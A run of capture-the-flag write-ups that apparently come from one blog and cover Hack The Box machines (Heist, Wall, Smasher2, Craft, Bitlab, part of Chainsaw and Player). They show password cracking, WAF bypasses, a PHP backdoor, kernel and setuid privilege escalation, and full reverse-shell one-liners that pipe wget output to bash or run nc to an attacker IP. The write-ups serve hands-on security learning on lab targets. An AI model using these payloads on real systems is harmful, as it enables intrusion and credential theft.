root@kali:~/Desktop/HTB/boxes/chainsaw# nano bobby.key.enc.b64 |
I used ssh2john.py
to get the hash of the key in john
format then I used john
with rockyou.txt
to crack it:
1 |
root@kali:~/Desktop/HTB/boxes/chainsaw# /opt/ssh2john.py ./bobby.key.enc > bobby.key.enc.hash |
Password: jackychain
, let’s ssh
into the box as bobby
:
1 |
root@kali:~/Desktop/HTB/boxes/chainsaw# chmod 600 bobby.key.enc |
We owned user.
In bobby
‘s home directory there was a directory called projects
which had a project called ChainsawClub
, Inside that directory there was another smart contract:
1 |
bobby@chainsaw:~$ cd projects/ |
ChainsawClub.sol
:
1 |
pragma solidity ^0.4.22; |
There was also a setuid
elf
executable called ChainsawClub
:
1 |
bobby@chainsaw:~/projects/ChainsawClub$ file ChainsawClub |
When executed it prints a note saying “Please sign up first and then log in!”, then it asks for credentials:
1 |
bobby@chainsaw:~/projects/ChainsawClub$ ./ChainsawClub |
Obviously we’ll use the smart contract to sign up, similar to what we did earlier we’ll write a python script to interact with the contract.
We’ll use:setUsername()
to set the usernamesetPassword()
to set the password, it has to be md5
hashed as we saw:
1 |
string password = '7b455ca1ffcb9f3828cfdde4a396139e'; |
setApprove()
to change approve
from false
to true
transfer()
to transfer coins to the user’s balance, it can’t transfer more than 1000 coins because that’s the value of totalSupply
and we can’t transfer more than that:
1 |
function transfer(uint _value) public { |
Transferring coins is an important step because when I created a new user without transferring coins I could successfully login but it said that I didn’t have enough funds and exited.
I used netstat
to list the open ports, 63991 was open and listening on localhost
only so I assumed that it’s the port on which the contract is deployed:
1 |
bobby@chainsaw:~/projects/ChainsawClub$ netstat -ntlp |
I got the ABI
of the contract like I did before:
And we have the address of the contract in address.txt
I wrote the exploit and forwarded the port to my box:
1 |
root@kali:~/Desktop/HTB/boxes/chainsaw# ssh -L 63991:127.0.0.1:63991 -i bobby.key.enc [email protected] |
The exploit is similar to the first one.ChainsawClubExploit.py
:
1 |
#!/usr/bin/python3 |
1 |
root@kali:~/Desktop/HTB/boxes/chainsaw# ./ChainsawClubExploit.py 0xE6384BBbBb7C30C4Af2287872179296d46d863bE rick pwn3d |
After authenticating I got a root shell:
1 |
bobby@chainsaw:~/projects/ChainsawClub$ ./ChainsawClub |
However the root flag wasn’t there:
root.txt
size is 52 bytes, the block size here is 4096 bytes which means that there are 4044 unused bytes (4096 - 52
) which is called “slack space”. (Check this page, and this one).
Slack space can be used to hide data, which was the case here with the root flag. I used bmap
:
1 |
bmap --mode slack root.txt --verbose |
And we owned root !
That’s it , Feedback is appreciated !
Don’t forget to read the previous write-ups , Tweet about the write-up if you liked it , follow on twitter @Ahm3d_H3sham
Thanks for reading.
Previous Hack The Box write-up : Hack The Box - Networked
Next Hack The Box write-up : Hack The Box - Heist
Hey guys, today Heist retired and here’s my write-up about it. It’s an easy Windows machine and its ip is 10.10.10.149
, I added it to /etc/hosts
as heist.htb
. Let’s jump right in !
As always we will start with nmap
to scan for open ports and services:
1 |
root@kali:~/Desktop/HTB/boxes/heist# nmap -sV -sT -sC -o nmapinitial heist.htb |
We got smb
and http
on port 80, I also ran another scan on port 5895 to see if winrm
is running and it was:
1 |
root@kali:~/Desktop/HTB/boxes/heist# nmap -sV -sT -p 5985 heist.htb Starting Nmap 7.80 ( https://nmap.org ) at 2019-11-29 12:05 EST Nmap scan report for heist.htb (10.10.10.149) Host is up (0.42s latency). PORT STATE SERVICE VERSION |
Anonymous authentication wasn’t allowed on smb
:
1 |
root@kali:~/Desktop/HTB/boxes/heist# smbclient --list //heist.htb/ -U "" |
So let’s check the web service.
The index page had a login form, however there was a guest login option:
After getting in as guest
I got this issues page:
A user called hazard
posted an issue that he’s having some problems with his Cisco
router and he attached the configuration file with the issue.
The configuration file had some password hashes and usernames:
1 |
version 12.2 |
For the type 7 passwords I used this online tool to crack them:
And for the other hash I cracked it with john:
1 |
root@kali:~/Desktop/HTB/boxes/heist# cat hash.txt |
So far we have hazard
and rout3r
as potential usernames and stealth1agent
, $uperP@ssword
, Q4)sJu\Y8qz*A3?d
as potential passwords.
I tried different combinations and I could authenticate to smb
as hazard : stealth1agent
, however there weren’t any useful shares:
1 |
root@kali:~/Desktop/HTB/boxes/heist# smbclient --list //heist.htb/ -U 'hazard' |
I used lookupsid.py
from impacket
to enumerate the other users:
1 |
root@kali:~/Desktop/HTB/boxes/heist# /opt/impacket/examples/lookupsid.py hazard:[email protected] |
Then I could authenticate to winrm
as chase : Q4)sJu\Y8qz*A3?d
:
After enumerating the box for a while I noticed that Firefox
was installed on the box which is unusual:
1 |
*Evil-WinRM* PS C:\Users\Chase\appdata\Roaming> ls |
And there were some Firefox
processes running:
1 |
*Evil-WinRM* PS C:\Users\Chase\appdata\Roaming\Mozilla> ps |
I uploaded procdump.exe
and dumped one of these processes:
1 |
*Evil-WinRM* PS C:\Users\Chase\appdata\Roaming\Mozilla> cd C:\Windows\System32\spool\drivers\color |
Then I uploaded strings.exe
and used it on the dump and saved the output to another file:
1 |
*Evil-WinRM* PS C:\windows\system32\spool\drivers\color> upload strings64.exe |
I searched for the word “password” and found Administrator’s credentials exposed in some GET
requests:
1 |
*Evil-WinRM* PS C:\windows\system32\spool\drivers\color> findstr "password" ./firefox.exe_191129_211531.txt |
And we owned root !
That’s it , Feedback is appreciated !
Don’t forget to read the previous write-ups , Tweet about the write-up if you liked it , follow on twitter @Ahm3d_H3sham
Thanks for reading.
Previous Hack The Box write-up : Hack The Box - Chainsaw
Next Hack The Box write-up : Hack The Box - Wall
Hey guys, today Wall retired and here’s my write-up about it. It was an easy Linux machine with a web application vulnerable to RCE
, WAF
bypass to be able to exploit that vulnerability and a vulnerable suid
binary. It’s a Linux machine and its ip is 10.10.10.157
, I added it to /etc/hosts
as wall.htb
. Let’s jump right in !
As always we will start with nmap
to scan for open ports and services:
1 |
root@kali:~/Desktop/HTB/boxes/wall# nmap -sV -sT -sC -o nmapinitial wall.htb |
We got http
on port 80 and ssh
on port 22. Let’s check the web service.
The index page was just the default apache
page:
So I ran gobuster
and got these results:
1 |
root@kali:~/Desktop/HTB/boxes/wall# gobuster dir -u http://wall.htb/ -w /usr/share/wordlists/dirb/common.txt |
The only interesting thing was /monitoring
, however that path was protected by basic http
authentication:
I didn’t have credentials, I tried bruteforcing them but it didn’t work so I spent sometime enumerating but I couldn’t find the credentials anywhere. Turns out that by changing the request method from GET
to POST
we can bypass the authentication:
1 |
root@kali:~/Desktop/HTB/boxes/wall# curl -X POST http://wall.htb/monitoring/ |
The response was a redirection to /centreon
:
Centreon is a network, system, applicative supervision and monitoring tool. -github
Bruteforcing the credentials through the login form will require writing a script because there’s a csrf
token that changes every request, alternatively we can use the API
.
According to the authentication part we can send a POST
request to /api/index.php?action=authenticate
with the credentials. In case of providing valid credentials it will respond with the authentication token, otherwise it will respond with a 403
.
I used wfuzz
with darkweb2017-top10000.txt
from seclists:
1 |
root@kali:~/Desktop/HTB/boxes/wall# wfuzz -c -X POST -d "username=admin&password=FUZZ" -w ./darkweb2017-top10000.txt http://wall.htb/centreon/api/index.php?action=authenticate |
password1
resulted in a 200
response so its the right password:
I checked the version of centreon
and it was 19.04
:
It was vulnerable to RCE
(CVE-2019-13024
, discovered by the author of the box) and there was an exploit for it:
1 |
root@kali:~/Desktop/HTB/boxes/wall# searchsploit centreon |
But when I tried to run the exploit I didn’t get a shell:
So I started looking at the exploit code and tried to do it manually.
The vulnerability is in the poller configuration page (/main.get.php?p=60901
) :
1 |
poller_configuration_page = url + "/main.get.php?p=60901" |
The script attempts to configure a poller and this is the payload that’s sent in the POST
request:
1 |
payload_info = { |
nagios_bin
is the vulnerable parameter:
1 |
# this value contains the payload , you can change it as you want |
I checked the configuration page and looked at the HTML
source, nagios_bin
is the monitoring engine binary, I tried to inject a command there:
When I tried to save the configuration I got a 403
:
That’s because there’s a WAF
blocking these attempts, I could bypass the WAF
by replacing the spaces in the commands with ${IFS}
. I saved the reverse shell payload in a file then I used wget
to get the file contents and I piped it to bash
.a
:
1 |
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.xx.xx 1337 >/tmp/f |
modified parameter:
1 |
"nagios_bin": "wget${IFS}-qO-${IFS}http://10.10.xx.xx/a${IFS}|${IFS}bash;" |
1 |
root@kali:~/Desktop/HTB/boxes/wall# python exploit.py http://wall.htb/centreon/ admin password1 10.10.xx.xx 1337 |
1 |
root@kali:~/Desktop/HTB/boxes/wall# nc -lvnp 1337 |
There were two users on the box, shelby
and sysmonitor
. I couldn’t read the user flag as www-data
:
1 |
www-data@Wall:/usr/local/centreon/www$ cd /home |
I searched for suid
binaries and saw screen-4.5.0
, similar to the privesc in Flujab I used this exploit.
The exploit script didn’t work properly so I did it manually, I compiled the binaries on my box:libhax.c
:
1 |
#include <stdio.h> |
rootshell.c
:
1 |
#include <stdio.h> |
1 |
root@kali:~/Desktop/HTB/boxes/wall/privesc# nano libhax.c |
Then I uploaded them to the box and did the rest of the exploit:
1 |
www-data@Wall:/home/shelby$ cd /tmp/ |
1 |
www-data@Wall:/tmp$ cd /etc |
And we owned root !
That’s it , Feedback is appreciated !
Don’t forget to read the previous write-ups , Tweet about the write-up if you liked it , follow on twitter @Ahm3d_H3sham
Thanks for reading.
Previous Hack The Box write-up : Hack The Box - Heist
Next Hack The Box write-up : Hack The Box - Smasher2
Hey guys, today smasher2 retired and here’s my write-up about it. Smasher2 was an interesting box and one of the hardest I have ever solved. Starting with a web application vulnerable to authentication bypass and RCE
combined with a WAF
bypass, then a kernel module with an insecure mmap
handler implementation allowing users to access kernel memory. I enjoyed the box and learned a lot from it. It’s a Linux box and its ip is 10.10.10.135
, I added it to /etc/hosts
as smasher2.htb
. Let’s jump right in!
As always we will start with nmap
to scan for open ports and services:
1 |
root@kali:~/Desktop/HTB/boxes/smasher2# nmap -sV -sT -sC -o nmapinitial smasher2.htb |
We got ssh
on port 22, dns
on port 53 and http
on port 80.
First thing I did was to enumerate vhosts
through the dns
server and I got 1 result:
1 |
root@kali:~/Desktop/HTB/boxes/smasher2# dig axfr smasher2.htb @10.10.10.135 |
wonderfulsessionmanager.smasher2.htb
, I added it to my hosts
file.
http://smasher2.htb
had the default Apache
index page:
http://wonderfulsessionmanager.smasher2.htb
:
The only interesting here was the login page:
I kept testing it for a while and the responses were like this one:
It didn’t request any new pages so I suspected that it’s doing an AJAX
request, I intercepted the login request to find out the endpoint it was requesting:
1 |
POST /auth HTTP/1.1 |
While browsing http://wonderfulsessionmanager.smasher2.htb
I had gobuster
running in the background on http://smasher2.htb/
:
1 |
root@kali:~/Desktop/HTB/boxes/smasher2# gobuster dir -u http://smasher2.htb/ -w /usr/share/wordlists/dirb/common.txt |
The only result that wasn’t 403
was /backup
so I checked that and found 2 files:
Note: Months ago when I solved this box for the first time /backup
was protected by basic http
authentication, that wasn’t the case when I revisited the box for the write-up even after resetting it. I guess it got removed, however it wasn’t an important step, it was just heavy brute force so the box is better without it.
I downloaded the files to my box:
1 |
root@kali:~/Desktop/HTB/boxes/smasher2# mkdir backup |
By looking at auth.py
I knew that these files were related to wonderfulsessionmanager.smasher2.htb
.
auth.py
:
1 |
#!/usr/bin/env python |
I read the code and these are the things that interest us:
After successful authentication the server will respond with a secret key that we can use to access the endpoint /api/<key>/job
:
1 |
ret["authenticated"] = True |
1 |
secret_token_info = ["/api/<api_key>/job", manager.secret_key, int(time.time())] |
That endpoint only accepts POST
requests:
1 |
@app.route("/api/<key>/job", methods=['POST']) |
And the sent data has to be json
:
1 |
data = request.get_json(silent=True) |
Through that endpoint we can execute system commands by providing them in a parameter called schedule
:
1 |
if "schedule" in data: |
session.so
is a compiled shared python library, so
stands for shared object:
1 |
root@kali:~/Desktop/HTB/boxes/smasher2/backup# file ses.so |
I opened it in ghidra
and started checking the functions. Two functions caught my attention, get_internal_pwd()
and get_internal_usr()
:
I looked at the decompiled code of both of them and noticed something strange, they were the exact same:get_internal_pwd()
:
1 |
undefined8 get_internal_pwd(undefined8 param_1) |
get_internal_usr()
:
1 |
undefined8 get_internal_usr(undefined8 param_1) |
1 |
root@kali:~/Desktop/HTB/boxes/smasher2/backup# diff getinternalusr getinternalpwd |
So in theory, since the two function are identical, providing the username as a password should work. Which means that it’s just a matter of finding an existing username and we’ll be able to bypass the authentication.
I tried some common usernames before attempting to use wfuzz
, Administrator
worked:
I wrote a small script to execute commands through /api/<key>/job
as we saw earlier in auth.py
, the script was meant for testing purposes:
1 |
#!/usr/bin/python3 |
Testing with whoami
worked just fine:
1 |
root@kali:~/Desktop/HTB/boxes/smasher2# ./test.py |
However when I tried other commands I got a 403
response indicating that the server was protected by a WAF
:
1 |
cmd: curl http://10.10.xx.xx |
I could easily bypass it by inserting single quotes in the command:
1 |
cmd: 'w'g'e't 'h't't'p':'/'/'1'0'.'1'0'.'x'x'.'x'x'/'t'e's't' |
1 |
Serving HTTP on 0.0.0.0 port 80 ... |
To automate the exploitation process I wrote this small exploit:
1 |
#!/usr/bin/python3 |
The exploit sends 2 commands, the first one is a wget
command that downloads shell.sh
and the other one executes it.shell.sh
:
1 |
#!/bin/bash |
I hosted it on a python server and I started a netcat
listener on port 1337 then I ran the exploit:
We owned user.
After getting a shell I copied my public ssh
key to /home/dzonerzy/.ssh/authorized_keys
and got ssh access.
In the home directory of dzonerzy
there was a README
containing a message from him saying that we’ll need to think outside the box to root smasher2:
1 |
dzonerzy@smasher2:~$ ls -al |
After some enumeration, I checked the auth
log and saw this line:
1 |
dzonerzy@smasher2:~$ cat /var/log/auth.log |
insmod
(stands for insert module
) is a tool used to load kernel modules. dhid.ko
is a kernel module (ko
stands for kernel object)
1 |
dzonerzy@smasher2:~$ cd /lib/modules/4.15.0-45-generic/kernel/drivers/hid/ |
I checked the loaded kernel modules and that module was still loaded:
1 |
dzonerzy@smasher2:/lib/modules/4.15.0-45-generic/kernel/drivers/hid$ lsmod | grep dhid |
We can use modinfo
to list the information about that module, as you can see it was written by dzonerzy
:
1 |
dzonerzy@smasher2:/lib/modules/4.15.0-45-generic/kernel/drivers/hid$ modinfo dhid |
Last thing I wanted to check was if there was device driver file for the module:
1 |
dzonerzy@smasher2:/lib/modules/4.15.0-45-generic/kernel/drivers/hid$ ls -la /dev/ | grep dhid |
I downloaded the module on my box to start analyzing it:
1 |
root@kali:~/Desktop/HTB/boxes/smasher2# scp -i id_rsa [email protected]:/lib/modules/4.15.0-45-generic/kernel/drivers/hid/dhid.ko ./ |
I opened the module in ghidra
then I started checking the functions:
The function dev_read()
had a hint that this is the intended way to root the box:
1 |
long dev_read(undefined8 param_1,undefined8 param_2) |
One interesting function that caught my attention was dev_mmap()
:
1 |
ulong dev_mmap(undefined8 param_1,long *param_2) |
In case you don’t know what mmap
is, simply mmap
is a system call which is used to map memory to a file or a device. (Check this)
The function dev_mmap()
is a custom mmap
handler.
The interesting part here is the call to remap_pfn_range()
function (remap kernel memory to userspace):
1 |
remap_pfn_range(param_2,*param_2,(long)(int)uVar1,param_2[1] - *param_2,param_2[9]); |
I checked the documentation of remap_pfn_range()
to know more about it, the function takes 5 arguments:
1 |
int remap_pfn_range (struct vm_area_struct * vma, |
Description of each argument:
1 |
struct vm_area_struct * vma |
If we look at the function call again we can see that the 3rd and 4th arguments (physical address of the kernel memory and size of map area) are given to the function without any prior validation:
1 |
ulong dev_mmap(undefined8 param_1,long *param_2) |
This means that we can map any size of memory we want and read/write to it, allowing us to even access the kernel memory.
Luckily, this white paper had a similar scenario and explained the exploitation process very well, I recommend reading it after finishing the write-up, I will try to explain the process as good as I can but the paper will be more detailed. In summary, what’s going to happen is that we’ll map a huge amount of memory and search through it for our process’s cred
structure (The cred
structure holds our process credentials) then overwrite our uid
and gid
with 0
and execute /bin/sh
. Let’s go through it step by step.
First, we need to make sure that it’s really exploitable, we’ll try to map a huge amount of memory and check if it worked:
1 |
#include <stdio.h> |
I compiled the code and uploaded it to the box:
1 |
root@kali:~/Desktop/HTB/boxes/smasher2# gcc -o pwn pwn.c |
Then I ran it:
1 |
dzonerzy@smasher2:/dev/shm$ ./pwn |
From another ssh
session I checked the process memory mapping, the attempt was successful:
1 |
dzonerzy@smasher2:/dev/shm$ cat /proc/8186/maps |
Now we can start searching for the cred
structure that belongs to our process, if we take a look at the how the cred
structure looks like:
1 |
struct cred { |
We’ll notice that the first 8 integers (representing our uid
, gid
, saved uid
, saved gid
, effective uid
, effective gid
, uid
and gid
for the virtual file system) are known to us, which represents a reliable pattern to search for in the memory:
1 |
kuid_tuid;/* real UID of the task */ |
These 8 integers are followed by a variable called securebits
:
1 |
unsigned securebits; /* SUID-less security management */ |
Then that variable is followed by our capabilities:
1 |
kernel_cap_t cap_inheritable; /* caps our children can inherit */ |
Since we know the first 8 integers we can search through the memory for that pattern, when we find a valid cred
structure pattern we’ll overwrite each integer of the 8 with a 0
and check if our uid
changed to 0
, we’ll keep doing it until we overwrite the one which belongs to our process, then we’ll overwrite the capabilities with 0xffffffffffffffff
and execute /bin/sh
. Let’s try to implement the search for cred
structures first.
To do that we will get our uid
with getuid()
:
1 |
unsigned int uid = getuid(); |
Then search for 8 consecutive integers that are equal to our uid
, when we find a cred
structure we’ll print its pointer and keep searching:
1 |
while (((unsigned long)addr) < (mmapStart + size - 0x40)){ |
pwn.c
:
1 |
#include <stdio.h> |
It worked:
1 |
dzonerzy@smasher2:/dev/shm$ ./pwn |
Now we need to overwrite the cred
structure that belongs to our process, we’ll keep overwriting every cred
structure we find and check our uid
, when we overwrite the one that belongs to our process our uid
should be 0
:
1 |
credIt = 0; |
pwn.c
:
1 |
#include <stdio.h> |
1 |
dzonerzy@smasher2:/dev/shm$ ./pwn |
Great! now what’s left to do is to overwrite the capabilities in our cred
structure with 0xffffffffffffffff
and execute /bin/sh
:
1 |
credIt += 1; |
pwn.c
:
1 |
#include <stdio.h> |
And finally:
1 |
dzonerzy@smasher2:/dev/shm$ ./pwn |
We owned root !
That’s it , Feedback is appreciated !
Don’t forget to read the previous write-ups , Tweet about the write-up if you liked it , follow on twitter @Ahm3d_H3sham
Thanks for reading.
Previous Hack The Box write-up : Hack The Box - Wall
Next Hack The Box write-up : Hack The Box - Craft
Hey guys, today Craft retired and here’s my write-up about it. It’s a medium rated Linux box and its ip is 10.10.10.110
, I added it to /etc/hosts
as craft.htb
. Let’s jump right in !
As always we will start with nmap
to scan for open ports and services:
1 |
root@kali:~/Desktop/HTB/boxes/craft# nmap -sV -sT -sC -o nmapinitial craft.htb |
We got https
on port 443 and ssh
on port 22.
The home page was kinda empty, Only the about info and nothing else:
The navigation bar had two external links, one of them was to https://api.craft.htb/api/
and the other one was to https://gogs.craft.htb
:
1 |
<ul class="nav navbar-nav pull-right"> |
So I added both of api.craft.htb
and gogs.craft.htb
to /etc/hosts
then I started checking them.https://api.craft.htb/api
:
Here we can see the API
endpoints and how to interact with them.
We’re interested in the authentication part for now, there are two endpoints, /auth/check
which checks the validity of an authorization token and /auth/login
which creates an authorization token provided valid credentials.
We don’t have credentials to authenticate so let’s keep enumerating.
Obviously gogs.craft.htb
had gogs
running:
The repository of the API
source code was publicly accessible so I took a look at the code and the commits.
Dinesh’s commits c414b16057
and 10e3ba4f0a
had some interesting stuff. First one had some code additions to /brew/endpoints/brew.py
where user’s input is being passed to eval()
without filtering:
1 |
@@ -38,9 +38,13 @@ class BrewCollection(Resource): |
I took a look at the API
documentation again to find in which request I can send the abv
parameter:
As you can see we can send a POST
request to /brew
and inject our payload in the parameter abv
, However we still need an authorization token to be able to interact with /brew
, and we don’t have any credentials.
The other commit was a test script which had hardcoded credentials, exactly what we need:
1 |
+response = requests.get('https://api.craft.htb/api/auth/login', auth=('dinesh', '4aUh0A8PbVJxgd'), verify=False) |
I tested the credentials and they were valid:
I wrote a small script to authenticate, grab the token, exploit the vulnerability and spawn a shell.exploit.py
:
1 |
#!/usr/bin/python3 |
Turns out that the application was hosted on a docker container and I didn’t get a shell on the actual host.
1 |
/opt/app # cd / |
In /opt/app
there was a python script called dbtest.py
, It connects to the database and executes a SQL
query:
1 |
/opt/app # ls -la |
I copied the script and changed result = cursor.fetchone()
to result = cursor.fetchall()
and I changed the query to SHOW TABLES
:
1 |
#!/usr/bin/env python |
There were two tables, user
and brew
:
1 |
/opt/app # wget http://10.10.xx.xx/db1.py |
I changed the query to SELECT * FROM user
:
1 |
#!/usr/bin/env python |
The table had all users credentials stored in plain text:
1 |
/opt/app # wget http://10.10.xx.xx/db2.py |
Gilfoyle had a private repository called craft-infra
:
He left his private ssh
key in the repository:
When I tried to use the key it asked for password as it was encrypted, I tried his gogs
password (ZEU3N8WNM2rh4T
) and it worked:
We owned user.
In Gilfoyle’s home directory there was a file called .vault-token
:
1 |
gilfoyle@craft:~$ ls -la |
A quick search revealed that it’s related to vault
.
Secure, store and tightly control access to tokens, passwords, certificates, encryption keys for protecting secrets and other sensitive data using a UI, CLI, or HTTP API. -vaultproject.io
By looking at vault.sh
from craft-infra
repository (vault/vault.sh
), we’ll see that it enables the ssh
secrets engine then creates an otp
role for root
:
1 |
#!/bin/bash |
We have the token (.vault-token
) so we can easily authenticate to the vault and create an otp
for a root ssh
session:
1 |
gilfoyle@craft:~$ vault login |
And finally we’ll ssh
into localhost
and use the generated password (c495f06b-daac-8a95-b7aa-c55618b037ee
):
1 |
gilfoyle@craft:~$ ssh [email protected] |
And we owned root !
That’s it , Feedback is appreciated !
Don’t forget to read the previous write-ups , Tweet about the write-up if you liked it , follow on twitter @Ahm3d_H3sham
Thanks for reading.
Previous Hack The Box write-up : Hack The Box - Smasher2
Next Hack The Box write-up : Hack The Box - Bitlab
Hey guys, today Bitlab retired and here’s my write-up about it. It was a nice CTF-style machine that mainly had a direct file upload and a simple reverse engineering challenge. It’s a Linux box and its ip is 10.10.10.114
, I added it to /etc/hosts
as bitlab.htb
. Let’s jump right in !
As always we will start with nmap
to scan for open ports and services:
1 |
root@kali:~/Desktop/HTB/boxes/bitlab# nmap -sV -sT -sC -o nmapinitial bitlab.htb |
We got http
on port 80 and ssh
on port 22, robots.txt
existed on the web server and it had a lot of entries.
Gitlab
was running on the web server and we need credentials:
I checked /robots.txt
to see if there was anything interesting:
1 |
root@kali:~/Desktop/HTB/boxes/bitlab# curl http://bitlab.htb/robots.txt [18/43] |
Most of the disallowed entries were paths related to the Gitlab
application. I checked /help
and found a page called bookmarks.html
:
There was an interesting link called Gitlab Login
:
Clicking on that link didn’t result in anything, so I checked the source of the page, the href
attribute had some javascript
code:
1 |
<DT><A HREF="javascript:(function(){ var _0x4b18=["\x76\x61\x6C\x75\x65","\x75\x73\x65\x72\x5F\x6C\x6F\x67\x69\x6E","\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x42\x79\x49\x64","\x63\x6C\x61\x76\x65","\x75\x73\x65\x72\x5F\x70\x61\x73\x73\x77\x6F\x72\x64","\x31\x31\x64\x65\x73\x30\x30\x38\x31\x78"];document[_0x4b18[2]](_0x4b18[1])[_0x4b18[0]]= _0x4b18[3];document[_0x4b18[2]](_0x4b18[4])[_0x4b18[0]]= _0x4b18[5]; })()" ADD_DATE="1554932142">Gitlab Login</A> |
I took that code, edited it a little bit and used the js
console to execute it:
1 |
root@kali:~/Desktop/HTB/boxes/bitlab# js |
Then I printed the variable _0x4b18
which had the credentials for Gitlab
:
1 |
> _0x4b18 |
After logging in with the credentials (clave : 11des0081x
) I found two repositories, Profile
and Deployer
:
I also checked the snippets
and I found an interesting code snippet that had the database credentials which will be useful later:
1 |
<?php |
Back to the repositories, I checked Profile
and it was pretty empty:
The path /profile
was one of the disallowed entries in /robots.txt
, I wanted to check if that path was related to the repository, so I checked if the same image (developer.jpg
) existed, and it did:
Now we can simply upload a php
shell and access it through /profile
, I uploaded the php-simple-backdoor
:
1 |
<!-- Simple PHP backdoor by DK (http://michaeldaw.org) --> |
Then I merged it to the master
branch:
I used the netcat openbsd
reverse shell payload from PayloadsAllTheThings
to get a shell, had to urlencode
it first:
1 |
rm%20%2Ftmp%2Ff%3Bmkfifo%20%2Ftmp%2Ff%3Bcat%20%2Ftmp%2Ff%7C%2Fbin%2Fsh%20-i%202%3E%261%7Cnc%2010.10.xx.xx%201337%20%3E%2Ftmp%2Ff |
1 |
root@kali:~/Desktop/HTB/boxes/bitlab# nc -lvnp 1337 |
After getting a shell as www-data
I wanted to use the credentials I got earlier from the code snippet and see what was in the database, however psql
wasn’t installed:
1 |
www-data@bitlab:/var/www/html/profile$ psql |
So I had to do it with php
:
1 |
www-data@bitlab:/var/www/html/profile$ php -a |
I executed the same query from the code snippet which queried everything from the table profiles
, and I got clave’s password which I could use to get ssh
access:
1 |
php > $result = $connection->query("SELECT * FROM profiles"); |
We owned user.
In the home directory of clave there was a Windows executable called RemoteConnection.exe
:
1 |
clave@bitlab:~$ ls -la |
I downloaded it on my box:
1 |
root@kali:~/Desktop/HTB/boxes/bitlab# scp [email protected]:/home/clave/RemoteConnection.exe ./ |
Then I started looking at the code decompilation with Ghidra
. One function that caught my attention was FUN_00401520()
:
1 |
|
It looked like it was checking if the name of the user running the program was clave, then It executed PuTTY
with some parameters that I couldn’t see:
1 |
if (local_6c == L"clave") { |
This is how the same part looked like in IDA
:
I copied the executable to a Windows machine and I tried to run it, however it just kept crashing.
I opened it in immunity debugger
to find out what was happening, and I found an access violation:
It happened before reaching the function I’m interested in so I had to fix it. What I did was simply replacing the instructions that caused that access violation with NOP
s.
I had to set a breakpoint before the cmp
instruction, so I searched for the word “clave” in the referenced text strings and I followed it in the disassembler:
Then I executed the program and whenever I hit an access violation I replaced the instructions with NOP
s, it happened twice then I reached my breakpoint:
After reaching the breakpoint I could see the parameters that the program gives to putty.exe
in both eax
and ebx
, It was starting an ssh
session as root and I could see the password:
1 |
EAX 00993E80 UNICODE "-ssh [email protected] -pw "Qf7]8YSV.wDNF*[7d?j&eD4^"" |
And we owned root !
That’s it , Feedback is appreciated !
Don’t forget to read the previous write-ups , Tweet about the write-up if you liked it , follow on twitter @Ahm3d_H3sham
Thanks for reading.
Previous Hack The Box write-up : Hack The Box - Craft
Next Hack The Box write-up : Hack The Box - Player
Hey guys, today Player retired and here’s my write-up about it. It was a relatively hard CTF-style machine with a lot of enumeration and a couple of interesting exploits. It’s a Linux box and its ip is 10.10.10.145
, I added it to /etc/hosts
as player.htb
. Let’s jump right in !
As always we will start with nmap
to scan for open ports and services:
1 |
root@kali:~/Desktop/HTB/boxes/player# nmap -sV -sT -sC -o nmapinitial player.htb |
We got http
on port 80 and ssh
on port 22.
I got a 403 response when I went to http://player.htb/
:
I used wfuzz
with subdomains-top1mil-5000.txt
from seclists
to enumerate virtual hosts and got these results:
1 |
root@kali:~/Desktop/HTB/boxes/player# wfuzz --hc 403 -c -w subdomains-top1mil-5000.txt -H "HOST: FUZZ.player.htb" http://10.10.10.145 |
I added them to my hosts file and started checking each one of them.
On dev
there was an application that needed credentials so we’ll skip that one until we find some credentials:staging
was kinda empty but there was an interesting contact form:
The form was interesting because when I attempted to submit it I got a weird error for a second then I got redirected to /501.php
:
I intercepted the request with burp to read the error.
Request:
1 |
GET /contact.php?firstname=test&subject=test HTTP/1.1 |
Response:
1 |
HTTP/1.1 200 OK |
The error exposed some filenames like /var/www/backup/service_config
, /var/www/staging/fix.php
and /var/www/staging/contact.php
. That will be helpful later.chat
was a static page that simulated a chat application:
I took a quick look at the chat history between Olla and Vincent, Olla asked him about some pentest reports and he replied with 2 interesting things :
We already saw that staging
was exposing files, I ran gobuster
on the main domain and found /launcher
:
1 |
root@kali:~/Desktop/HTB/boxes/player# gobuster dir -u http://player.htb/ -w /usr/share/wordlists/dirb/common.txt |
http://player.htb/launcher
:
I tried to submit that form but it did nothing, I just got redirected to /launcher
again:
Request:
1 |
GET /launcher/dee8dc8a47256c64630d803a4c40786c.php HTTP/1.1 |
Response:
1 |
HTTP/1.1 302 Found |
We know from the chat that the source code is exposed somewhere, I wanted to read the source of /launcher/dee8dc8a47256c64630d803a4c40786c.php
so I tried some basic stuff like adding .swp
, .bak
and ~
after the file name. ~
worked (check this out):
1 |
root@kali:~/Desktop/HTB/boxes/player# curl http://player.htb/launcher/dee8dc8a47256c64630d803a4c40786c.php~ |
It decodes the JWT
token from the cookie access
and redirects us to a redacted path if the value of access_code
was 0E76658526655756207688271159624026011393
, otherwise it will assign an access
cookie for us with C0B137FE2D792459F26FF763CCE44574A5B5AB03
as the value of access_code
and redirect us to index.html
.
We have the secret _S0_R@nd0m_P@ss_
so we can easily craft a valid cookie. I used jwt.io to edit my token.
I used the cookie and got redirected to /7F2dcsSdZo6nj3SNMTQ1
:
Request:
1 |
GET /launcher/dee8dc8a47256c64630d803a4c40786c.php HTTP/1.1 |
Response:
1 |
HTTP/1.1 302 Found |
I uploaded a test txt
file:
I got an avi
file as a result which was weird:
1 |
<a href="http:\/\/player.htb/launcher/7F2dcsSdZo6nj3SNMTQ1/uploads/518515582.avi"> |
I tried some other file formats and I also got an avi
file.
So I tried the ffmpeg HLS
exploit, I created a test avi
to read /etc/passwd
and it worked:
1 |
root@kali:~/Desktop/HTB/boxes/player/avi# ./gen_xbin_avi.py file:///etc/passwd test.avi |
I created 3 more avi
s to read the files we got earlier from the error message from staging
:
1 |
root@kali:~/Desktop/HTB/boxes/player/avi# ./gen_xbin_avi.py file:///var/www/staging/contact.php contact.avi |
contact.php
didn’t have anything interesting and the avi
for fix.php
was empty for some reason. In service_config
there were some credentials for a user called telegen
:
I tried these credentials with ssh
and with dev.player.htb
and they didn’t work. I ran a quick full port scan with masscan
and turns out that there was another open port:
1 |
root@kali:~/Desktop/HTB/boxes/player# masscan -p1-65535 10.10.10.145 --rate=1000 -e tun0 |
I scanned that port with nmap
but it couldn’t identify the service:
1 |
PORT STATE SERVICE VERSION |
However when I connected to the port with nc
